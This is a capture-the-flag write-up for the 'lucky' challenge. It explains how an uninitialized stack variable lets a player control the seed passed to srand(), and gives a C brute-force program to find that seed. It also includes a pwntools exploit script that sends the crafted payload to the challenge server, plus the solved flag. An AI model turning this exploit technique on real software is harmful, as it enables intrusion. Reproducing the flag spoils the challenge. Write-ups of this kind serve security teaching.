0x0 Introduction

Author: nhwn

Feeling lucky? I have just the challenge for you :D

SNI: lucky

files: lucky, lucky.c

0x1 Mitigation

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

0x2 Vulnerability

The basic idea is set a seed for rand() so that 3 key is same as the requirements.

Because both function are called in the main. The function seed() and function welcome share the same stack address.

On the other hand, seed() just return the value on the stack. In this case, the stack will looks like this.

stack for welcome         stack for seed
-------                   -----------------  
buf[4]
buf[8]                    "GLHF :D"
buf[4]                    lol
main stack                main stack
-------                   ---------------

Therefore, we can control the value of lol (which is the seed) by write last 4 bytes in function welcome/

now, we just need to find the correct seed by using the script below

#include <stdio.h>
#include <stdlib.h>

int main()
{
    for (int i = 0; i <= 2147483647; i++)
    {
        srand(i);
        int key0 = rand() == 306291429;
        int key1 = rand() == 442612432;
        int key2 = rand() == 110107425;
        if (key0 && key1 && key2)
        {
            printf("%d",i);
            break;
        }
    }
}

0x3 Exploit

from pwn import *

context.binary = ELF("lucky")
io = remote("tamuctf.com", 443, ssl=True, sni="lucky")
io.sendlineafter('name: ',flat({
    0xc:5649426
}))

io.interactive()

0x4 Flag

gigem{un1n1t14l1z3d_m3m0ry_15_r4nd0m_r1ght}